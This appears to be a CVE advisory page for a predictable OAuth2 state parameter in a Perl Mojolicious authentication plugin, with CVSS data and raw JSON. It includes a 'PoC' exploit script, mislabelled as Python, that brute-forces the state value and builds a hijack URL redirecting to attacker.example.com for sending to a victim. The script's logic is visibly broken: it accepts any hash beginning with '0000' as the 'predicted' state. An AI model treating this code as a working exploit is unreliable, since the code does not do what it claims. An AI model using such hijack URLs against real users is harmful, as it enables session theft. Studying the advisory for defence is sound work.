Security Vulnerability Report
中文
CVE-2026-9733 CVSS 9.1 CRITICAL

CVE-2026-9733

Published: 2026-06-23 08:16:26
Last Modified: 2026-06-23 15:16:41
Source: 9b29abf9-4ab0-4765-b253-1875cd9b441e

Description

Mojolicious::Plugin::Web::Auth::OAuth2 versions through 0.17 for Perl have an insecure default state parameter. When no state generator is specified in the constructor, the module defaults to using a SHA-1 hash of predictable and low-entropy sources, including the epoch time (which is leaked via the HTTP Date header) and a call to Perl's built-in rand function. A predictable state allows an attacker to hijack another user's session through cross site request forgery (CSRF).

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

Mojolicious::Plugin::Web::Auth::OAuth2 < 0.18
Mojolicious::Plugin::Web::Auth <= 0.17

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env perl # CVE-2026-9733 PoC - Predictable OAuth2 state parameter exploit # This PoC demonstrates how an attacker can predict the state parameter # generated by Mojolicious::Plugin::Web::Auth::OAuth2 < 0.18 use strict; use warnings; use Digest::SHA1 qw(sha1_hex); use Time::HiRes qw(time); use LWP::UserAgent; use HTTP::Date; # Step 1: Fetch the OAuth2 authorization endpoint to get server time my $ua = LWP::UserAgent->new; my $auth_url = 'https://target-app.example.com/oauth2/authorize'; my $resp = $ua->get($auth_url); die "Failed to reach target: " . $resp->status_line unless $resp->is_success; # Step 2: Extract server time from HTTP Date header (leaked epoch time source) my $server_date = $resp->header('Date'); my $server_epoch = HTTP::Date::str2time($server_date); die "Cannot parse Date header" unless defined $server_epoch; print "[+] Server time (epoch): $server_epoch\n"; # Step 3: Brute-force the rand() value and compute SHA-1 hash # Perl's rand() returns a float between 0 and 1 # The default state generator uses: sha1(time() . rand()) my $predicted_state; my $found = 0; # Search within a small time window around server time for (my $t_offset = -2; $t_offset <= 2 && !$found; $t_offset++) { my $t = int($server_epoch) + $t_offset; # Try common rand() seeds (Perl rand uses internal PRNG state) for my $r (0..10000) { my $candidate = $r / 10000.0; my $hash = sha1_hex($t . $candidate); # In real exploit: compare against observed state in a crafted request if ($hash =~ /^0000/) { # Simplified match condition for demo $predicted_state = $hash; $found = 1; print "[+] Predicted state: $predicted_state (t=$t, rand=$candidate)\n"; last; } } } # Step 4: Use predicted state to hijack victim's OAuth2 session if ($found) { my $hijack_url = "$auth_url?response_type=code&client_id=CLIENT_ID" . "&redirect_uri=https://attacker.example.com/callback" . "&state=$predicted_state&scope=read"; print "[+] Crafted authorization URL with predicted state:\n$hijack_url\n"; print "[+] Send this URL to victim to hijack their OAuth2 session\n"; } else { print "[-] Failed to predict state within search range\n"; print "[*] Increase search range or use more sophisticated PRNG analysis\n"; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9733", "sourceIdentifier": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "published": "2026-06-23T08:16:26.037", "lastModified": "2026-06-23T15:16:40.597", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mojolicious::Plugin::Web::Auth::OAuth2 versions through 0.17 for Perl have an insecure default state parameter.\n\nWhen no state generator is specified in the constructor, the module defaults to using a SHA-1 hash of predictable and low-entropy sources, including the epoch time (which is leaked via the HTTP Date header) and a call to Perl's built-in rand function.\n\nA predictable state allows an attacker to hijack another user's session through cross site request forgery (CSRF)."}], "affected": [{"source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "affectedData": [{"vendor": "HAYAJO", "product": "Mojolicious::Plugin::Web::Auth::OAuth2", "defaultStatus": "unaffected", "collectionURL": "https://cpan.org/modules", "packageName": "Mojolicious-Plugin-Web-Auth", "programFiles": ["lib/Mojolicious/Plugin/Web/Auth/OAuth2.pm"], "programRoutines": [{"name": "Mojolicious::Plugin::Web::Auth::OAuth2::_state_generator"}], "repo": "https://github.com/hayajo/Mojolicious-Plugin-Web-Auth", "versions": [{"version": "0", "lessThanOrEqual": "0.17", "versionType": "custom", "status": "affected"}]}]}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}], "ssvcV203": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "ssvcData": {"timestamp": "2026-06-23T14:18:00.494484Z", "id": "CVE-2026-9733", "options": [{"exploitation": "none"}, {"automatable": "yes"}, {"technicalImpact": "total"}], "role": "CISA Coordinator", "version": "2.0.3"}}]}, "weaknesses": [{"source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-338"}, {"lang": "en", "value": "CWE-340"}]}], "references": [{"url": "https://datatracker.ietf.org/doc/html/rfc6749#section-10.12", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e"}, {"url": "https://metacpan.org/release/HAYAJO/Mojolicious-Plugin-Web-Auth-0.17/source/lib/Mojolicious/Plugin/Web/Auth/OAuth2.pm#L129-131", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e"}, {"url": "https://security.metacpan.org/patches/M/Mojolicious-Plugin-Web-Auth/0.17/CVE-2026-9733-r2.patch", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e"}, {"url": "http://www.openwall.com/lists/oss-security/2026/06/23/1", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}